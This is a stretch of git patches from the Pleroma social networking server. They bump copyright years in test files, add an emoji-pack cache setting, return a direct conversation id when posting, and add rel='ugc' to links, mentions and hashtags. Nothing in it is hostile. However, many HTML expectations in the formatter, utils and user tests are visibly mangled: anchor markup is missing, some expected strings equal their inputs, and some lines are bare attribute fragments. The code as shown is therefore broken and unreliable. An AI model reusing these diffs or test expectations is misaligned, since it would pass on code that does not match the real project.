defmodule Pleroma.Web.AdminAPI.SearchTest do
diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs
index c281dd1f1..230146451 100644
--- a/test/web/common_api/common_api_utils_test.exs
+++ b/test/web/common_api/common_api_utils_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CommonAPI.UtilsTest do
diff --git a/test/web/federator_test.exs b/test/web/federator_test.exs
index 4096d4690..43a715706 100644
--- a/test/web/federator_test.exs
+++ b/test/web/federator_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.FederatorTest do
diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs
index 0b53bc6cd..e54d708ad 100644
--- a/test/web/instances/instance_test.exs
+++ b/test/web/instances/instance_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Instances.InstanceTest do
diff --git a/test/web/instances/instances_test.exs b/test/web/instances/instances_test.exs
index dea8e2aea..65b03b155 100644
--- a/test/web/instances/instances_test.exs
+++ b/test/web/instances/instances_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.InstancesTest do
diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs
index 1d8b28339..2ea87c5f0 100644
--- a/test/web/mastodon_api/views/account_view_test.exs
+++ b/test/web/mastodon_api/views/account_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
diff --git a/test/web/mastodon_api/views/list_view_test.exs b/test/web/mastodon_api/views/list_view_test.exs
index fb00310b9..59e896a7c 100644
--- a/test/web/mastodon_api/views/list_view_test.exs
+++ b/test/web/mastodon_api/views/list_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ListViewTest do
diff --git a/test/web/mastodon_api/views/notification_view_test.exs b/test/web/mastodon_api/views/notification_view_test.exs
index 977ea1e87..9231aaec8 100644
--- a/test/web/mastodon_api/views/notification_view_test.exs
+++ b/test/web/mastodon_api/views/notification_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
diff --git a/test/web/mastodon_api/views/push_subscription_view_test.exs b/test/web/mastodon_api/views/push_subscription_view_test.exs
index dc935fc82..4e4f5b7e6 100644
--- a/test/web/mastodon_api/views/push_subscription_view_test.exs
+++ b/test/web/mastodon_api/views/push_subscription_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.PushSubscriptionViewTest do
diff --git a/test/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/web/mastodon_api/views/scheduled_activity_view_test.exs
index ecbb855d4..6387e4555 100644
--- a/test/web/mastodon_api/views/scheduled_activity_view_test.exs
+++ b/test/web/mastodon_api/views/scheduled_activity_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do
diff --git a/test/web/mastodon_api/views/status_view_test.exs b/test/web/mastodon_api/views/status_view_test.exs
index fcdd7fbcb..51f8434fa 100644
--- a/test/web/mastodon_api/views/status_view_test.exs
+++ b/test/web/mastodon_api/views/status_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs
index 53b8f556b..fdfdb5ec6 100644
--- a/test/web/media_proxy/media_proxy_controller_test.exs
+++ b/test/web/media_proxy/media_proxy_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do
diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs
index 79699cac5..96bdde219 100644
--- a/test/web/media_proxy/media_proxy_test.exs
+++ b/test/web/media_proxy/media_proxy_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MediaProxyTest do
diff --git a/test/web/node_info_test.exs b/test/web/node_info_test.exs
index f6147c286..e15a0bfff 100644
--- a/test/web/node_info_test.exs
+++ b/test/web/node_info_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.NodeInfoTest do
diff --git a/test/web/oauth/authorization_test.exs b/test/web/oauth/authorization_test.exs
index d8b008437..2e82a7b79 100644
--- a/test/web/oauth/authorization_test.exs
+++ b/test/web/oauth/authorization_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.AuthorizationTest do
diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs
index b492c7794..2780e1746 100644
--- a/test/web/oauth/oauth_controller_test.exs
+++ b/test/web/oauth/oauth_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.OAuthControllerTest do
diff --git a/test/web/oauth/token/utils_test.exs b/test/web/oauth/token/utils_test.exs
index 20e338cab..dc1f9a986 100644
--- a/test/web/oauth/token/utils_test.exs
+++ b/test/web/oauth/token/utils_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.Token.UtilsTest do
diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs
index 3c07309b7..5359940f8 100644
--- a/test/web/oauth/token_test.exs
+++ b/test/web/oauth/token_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.TokenTest do
diff --git a/test/web/ostatus/activity_representer_test.exs b/test/web/ostatus/activity_representer_test.exs
index a3a92ce5b..a8d500890 100644
--- a/test/web/ostatus/activity_representer_test.exs
+++ b/test/web/ostatus/activity_representer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus.ActivityRepresenterTest do
diff --git a/test/web/ostatus/feed_representer_test.exs b/test/web/ostatus/feed_representer_test.exs
index 3c7b126e7..d1cadf1e4 100644
--- a/test/web/ostatus/feed_representer_test.exs
+++ b/test/web/ostatus/feed_representer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus.FeedRepresenterTest do
diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs
index 095ae7041..ec96f0012 100644
--- a/test/web/ostatus/ostatus_controller_test.exs
+++ b/test/web/ostatus/ostatus_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus.OStatusControllerTest do
diff --git a/test/web/ostatus/ostatus_test.exs b/test/web/ostatus/ostatus_test.exs
index 803a97695..f04a5cfc5 100644
--- a/test/web/ostatus/ostatus_test.exs
+++ b/test/web/ostatus/ostatus_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatusTest do
diff --git a/test/web/plugs/federating_plug_test.exs b/test/web/plugs/federating_plug_test.exs
index bb2e1687a..9dcab93da 100644
--- a/test/web/plugs/federating_plug_test.exs
+++ b/test/web/plugs/federating_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.FederatingPlugTest do
diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs
index e2f89f40a..2f6ce4bd2 100644
--- a/test/web/push/impl_test.exs
+++ b/test/web/push/impl_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Push.ImplTest do
diff --git a/test/web/salmon/salmon_test.exs b/test/web/salmon/salmon_test.exs
index 0186f3fef..153ec41ac 100644
--- a/test/web/salmon/salmon_test.exs
+++ b/test/web/salmon/salmon_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Salmon.SalmonTest do
diff --git a/test/web/streamer/streamer_test.exs b/test/web/streamer/streamer_test.exs
index 88847e20f..b8fcd41fa 100644
--- a/test/web/streamer/streamer_test.exs
+++ b/test/web/streamer/streamer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.StreamerTest do
diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs
index 3c0528776..08f264431 100644
--- a/test/web/twitter_api/twitter_api_test.exs
+++ b/test/web/twitter_api/twitter_api_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
diff --git a/test/web/uploader_controller_test.exs b/test/web/uploader_controller_test.exs
index 70028df1c..7c7f9a6ea 100644
--- a/test/web/uploader_controller_test.exs
+++ b/test/web/uploader_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.UploaderControllerTest do
diff --git a/test/web/views/error_view_test.exs b/test/web/views/error_view_test.exs
index 3857d585f..4e5398c83 100644
--- a/test/web/views/error_view_test.exs
+++ b/test/web/views/error_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ErrorViewTest do
diff --git a/test/web/web_finger/web_finger_controller_test.exs b/test/web/web_finger/web_finger_controller_test.exs
index bd3ccaaf7..49cd1460b 100644
--- a/test/web/web_finger/web_finger_controller_test.exs
+++ b/test/web/web_finger/web_finger_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do
diff --git a/test/web/web_finger/web_finger_test.exs b/test/web/web_finger/web_finger_test.exs
index 8fdb9adea..696c1bd70 100644
--- a/test/web/web_finger/web_finger_test.exs
+++ b/test/web/web_finger/web_finger_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebFingerTest do
diff --git a/test/web/websub/websub_controller_test.exs b/test/web/websub/websub_controller_test.exs
index 59cacbe68..f6d002b3b 100644
--- a/test/web/websub/websub_controller_test.exs
+++ b/test/web/websub/websub_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Websub.WebsubControllerTest do
diff --git a/test/web/websub/websub_test.exs b/test/web/websub/websub_test.exs
index 929acf5a2..46ca545de 100644
--- a/test/web/websub/websub_test.exs
+++ b/test/web/websub/websub_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebsubTest do
From 3e972c0456a6f556bd1ee9118116f347d774df61 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Thu, 19 Sep 2019 00:21:16 +0300
Subject: [PATCH 104/148] Add :shared_pack_cache_seconds_per_file to
description.exs
---
config/description.exs | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/config/description.exs b/config/description.exs
index 65ea6bf01..5dc8dc364 100644
--- a/config/description.exs
+++ b/config/description.exs
@@ -2256,6 +2256,14 @@
"Location of the JSON-manifest. This manifest contains information about the emoji-packs you can download." <>
" Currently only one manifest can be added (no arrays)",
suggestions: ["https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json"]
+ },
+ %{
+ key: :shared_pack_cache_seconds_per_file,
+ type: :integer,
+ descpiption:
+ "When an emoji pack is shared, the archive is created and cached in memory" <>
+ " for this amount of seconds multiplied by the number of files.",
+ suggestions: [60]
}
]
},
From fe5e0b784604b1352e98e7915c3c67d59ac4f709 Mon Sep 17 00:00:00 2001
From: eugenijm
Date: Thu, 19 Sep 2019 08:27:55 +0300
Subject: [PATCH 105/148] Mastodon API: Return `pleroma.direct_conversation_id`
when creating direct messages (`POST /api/v1/statuses`)
---
CHANGELOG.md | 1 +
.../mastodon_api/controllers/mastodon_api_controller.ex | 7 ++++++-
test/web/mastodon_api/mastodon_api_controller_test.exs | 4 +++-
3 files changed, 10 insertions(+), 2 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 906aa985e..84b64e2b9 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -11,6 +11,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
- Admin API: Return `total` when querying for reports
+- Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`)
## [1.1.0] - 2019-??-??
### Security
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 37eeb2ac3..6704ee7e8 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -611,7 +611,12 @@ def post_status(%{assigns: %{user: user}} = conn, %{"status" => _} = params) do
{:ok, activity} ->
conn
|> put_view(StatusView)
- |> try_render("status.json", %{activity: activity, for: user, as: :activity})
+ |> try_render("status.json", %{
+ activity: activity,
+ for: user,
+ as: :activity,
+ with_direct_conversation_id: true
+ })
end
end
end
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index fb04748bb..35a0d3fe1 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -296,7 +296,9 @@ test "posting a direct status", %{conn: conn} do
conn
|> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})
- assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200)
+ assert %{"id" => id} = response = json_response(conn, 200)
+ assert response["visibility"] == "direct"
+ assert response["pleroma"]["direct_conversation_id"]
assert activity = Activity.get_by_id(id)
assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id]
assert activity.data["to"] == [user2.ap_id]
From cf3041220a7a14dc3fac24177fac1f4aecc77f5f Mon Sep 17 00:00:00 2001
From: Egor Kislitsyn
Date: Tue, 17 Sep 2019 15:22:46 +0700
Subject: [PATCH 106/148] Add support for `rel="ugc"`
---
config/config.exs | 2 +-
config/description.exs | 2 +-
docs/config.md | 2 +-
lib/pleroma/html.ex | 6 +++--
test/formatter_test.exs | 24 ++++++++++---------
test/web/common_api/common_api_utils_test.exs | 6 ++---
.../update_credentials_test.exs | 2 +-
7 files changed, 24 insertions(+), 20 deletions(-)
diff --git a/config/config.exs b/config/config.exs
index c7e0cf09f..26dc4d16d 100644
--- a/config/config.exs
+++ b/config/config.exs
@@ -507,7 +507,7 @@
class: false,
strip_prefix: false,
new_window: false,
- rel: false
+ rel: "ugc"
]
config :pleroma, :ldap,
diff --git a/config/description.exs b/config/description.exs
index 65ea6bf01..abfb6370f 100644
--- a/config/description.exs
+++ b/config/description.exs
@@ -1900,7 +1900,7 @@
key: :rel,
type: [:string, false],
description: "override the rel attribute. false to clear",
- suggestions: ["noopener noreferrer", false]
+ suggestions: ["ugc", false]
},
%{
key: :new_window,
diff --git a/docs/config.md b/docs/config.md
index 3f37fa561..def462900 100644
--- a/docs/config.md
+++ b/docs/config.md
@@ -521,7 +521,7 @@ config :auto_linker,
class: false,
strip_prefix: false,
new_window: false,
- rel: false
+ rel: "ugc"
]
```
diff --git a/lib/pleroma/html.ex b/lib/pleroma/html.ex
index 3951f0f51..937bafed5 100644
--- a/lib/pleroma/html.ex
+++ b/lib/pleroma/html.ex
@@ -184,7 +184,8 @@ defmodule Pleroma.HTML.Scrubber.Default do
"tag",
"nofollow",
"noopener",
- "noreferrer"
+ "noreferrer",
+ "ugc"
])
Meta.allow_tag_with_these_attributes("a", ["name", "title"])
@@ -304,7 +305,8 @@ defmodule Pleroma.HTML.Scrubber.LinksOnly do
"nofollow",
"noopener",
"noreferrer",
- "me"
+ "me",
+ "ugc"
])
Meta.allow_tag_with_these_attributes("a", ["name", "title"])
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index c443dfe7c..3674577d6 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -39,21 +39,21 @@ test "turning urls into links" do
text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
expected =
- "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
+ ~S(Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla .)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social/@lambadalambda"
expected =
- "https://mastodon.social/@lambadalambda"
+ ~S(https://mastodon.social/@lambadalambda)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social:4000/@lambadalambda"
expected =
- "https://mastodon.social:4000/@lambadalambda"
+ ~S(https://mastodon.social:4000/@lambadalambda)
assert {^expected, [], []} = Formatter.linkify(text)
@@ -63,55 +63,57 @@ test "turning urls into links" do
assert {^expected, [], []} = Formatter.linkify(text)
text = "http://www.cs.vu.nl/~ast/intel/"
- expected = "http://www.cs.vu.nl/~ast/intel/"
+
+ expected =
+ ~S(http://www.cs.vu.nl/~ast/intel/)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
expected =
- "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
+ "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
expected =
- "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
+ "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
expected =
- "https://www.google.co.jp/search?q=Nasim+Aghdam"
+ "https://www.google.co.jp/search?q=Nasim+Aghdam"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Duff's_device"
expected =
- "https://en.wikipedia.org/wiki/Duff's_device"
+ "https://en.wikipedia.org/wiki/Duff's_device"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://pleroma.com https://pleroma.com/sucks"
expected =
- "https://pleroma.com https://pleroma.com/sucks"
+ "https://pleroma.com https://pleroma.com/sucks"
assert {^expected, [], []} = Formatter.linkify(text)
text = "xmpp:contact@hacktivis.me"
- expected = "xmpp:contact@hacktivis.me"
+ expected = "xmpp:contact@hacktivis.me"
assert {^expected, [], []} = Formatter.linkify(text)
text =
"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
- expected = "#{text}"
+ expected = "#{text}"
assert {^expected, [], []} = Formatter.linkify(text)
end
diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs
index 230146451..78cfe3c5f 100644
--- a/test/web/common_api/common_api_utils_test.exs
+++ b/test/web/common_api/common_api_utils_test.exs
@@ -157,11 +157,11 @@ test "works for text/markdown with mentions" do
text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*"
expected =
- "hello world
\nanother hello world
\nanother @user__test and @user__test and @user__test google.com paragraph
\n"
+ }" class="u-url mention" href="http://foo.com/user__test">@user__test google.com paragraph
\n)
{output, _, _} = Utils.format_input(text, "text/markdown")
diff --git a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
index 89d4ca37e..1e8d0d03b 100644
--- a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
+++ b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
@@ -334,7 +334,7 @@ test "update fields", %{conn: conn} do
assert account["fields"] == [
%{"name" => "foo", "value" => "bar"},
- %{"name" => "link", "value" => "cofe.io"}
+ %{"name" => "link", "value" => ~S(cofe.io)}
]
assert account["source"]["fields"] == [
From d639cdcecb1b9cd2326b98c926dff8b0f4c27e3c Mon Sep 17 00:00:00 2001
From: Egor Kislitsyn
Date: Thu, 19 Sep 2019 14:04:13 +0700
Subject: [PATCH 107/148] Update "config/description.exs"
---
config/description.exs | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/config/description.exs b/config/description.exs
index abfb6370f..510e285df 100644
--- a/config/description.exs
+++ b/config/description.exs
@@ -1900,7 +1900,7 @@
key: :rel,
type: [:string, false],
description: "override the rel attribute. false to clear",
- suggestions: ["ugc", false]
+ suggestions: ["ugc", "noopener noreferrer", false]
},
%{
key: :new_window,
From 95c948110ca130559fd6a5302011aa58900274ac Mon Sep 17 00:00:00 2001
From: Egor Kislitsyn
Date: Thu, 19 Sep 2019 14:39:52 +0700
Subject: [PATCH 108/148] Add `rel="ugc"` to hashtags and mentions
---
lib/pleroma/formatter.ex | 6 ++--
test/formatter_test.exs | 30 +++++++++++--------
test/user_test.exs | 4 +--
test/web/common_api/common_api_utils_test.exs | 4 +--
.../update_credentials_test.exs | 7 ++---
.../mastodon_api_controller_test.exs | 8 ++---
test/web/twitter_api/twitter_api_test.exs | 4 ++-
7 files changed, 35 insertions(+), 28 deletions(-)
diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
index 607843a5b..23a5ac8fe 100644
--- a/lib/pleroma/formatter.ex
+++ b/lib/pleroma/formatter.ex
@@ -36,9 +36,9 @@ def mention_handler("@" <> nickname, buffer, opts, acc) do
nickname_text = get_nickname_text(nickname, opts)
link =
- "@#{
+ ~s(@#{
nickname_text
- }"
+ })
{link, %{acc | mentions: MapSet.put(acc.mentions, {"@" <> nickname, user})}}
@@ -50,7 +50,7 @@ def mention_handler("@" <> nickname, buffer, opts, acc) do
def hashtag_handler("#" <> tag = tag_text, _buffer, _opts, acc) do
tag = String.downcase(tag)
url = "#{Pleroma.Web.base_url()}/tag/#{tag}"
- link = "#{tag_text}"
+ link = ~s(#{tag_text})
{link, %{acc | tags: MapSet.put(acc.tags, {tag_text, tag})}}
end
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 3674577d6..2e4280fc2 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -19,7 +19,7 @@ test "turns hashtags into links" do
text = "I love #cofe and #2hu"
expected_text =
- "I love #cofe and #2hu"
+ ~s(I love #cofe and #2hu)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@@ -28,7 +28,7 @@ test "does not turn html characters to tags" do
text = "#fact_3: pleroma does what mastodon't"
expected_text =
- "#fact_3: pleroma does what mastodon't"
+ ~s(#fact_3: pleroma does what mastodon't)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@@ -137,13 +137,13 @@ test "gives a replacement for user links, using local nicknames in user links te
assert length(mentions) == 3
expected_text =
- "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme"
+ }" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@archaeme)
assert expected_text == text
end
@@ -158,7 +158,9 @@ test "gives a replacement for user links when the user is using Osada" do
assert length(mentions) == 1
expected_text =
- "@mike test"
+ ~s(@mike test)
assert expected_text == text
end
@@ -172,7 +174,7 @@ test "gives a replacement for single-character local nicknames" do
assert length(mentions) == 1
expected_text =
- "@o hi"
+ ~s(@o hi)
assert expected_text == text
end
@@ -194,13 +196,17 @@ test "given the 'safe_mention' option, it will only mention people in the beginn
assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
assert expected_text ==
- "@#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
+ }" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@#{
+ third_user.nickname
+ })
end
test "given the 'safe_mention' option, it will still work without any mention" do
diff --git a/test/user_test.exs b/test/user_test.exs
index 39ba69668..6852fcd40 100644
--- a/test/user_test.exs
+++ b/test/user_test.exs
@@ -1294,9 +1294,9 @@ test "preserves hosts in user links text" do
bio = "A.k.a. @nick@domain.com"
expected_text =
- "A.k.a. @nick@domain.com"
+ }" rel="ugc">@nick@domain.com)
assert expected_text == User.parse_bio(bio, user)
end
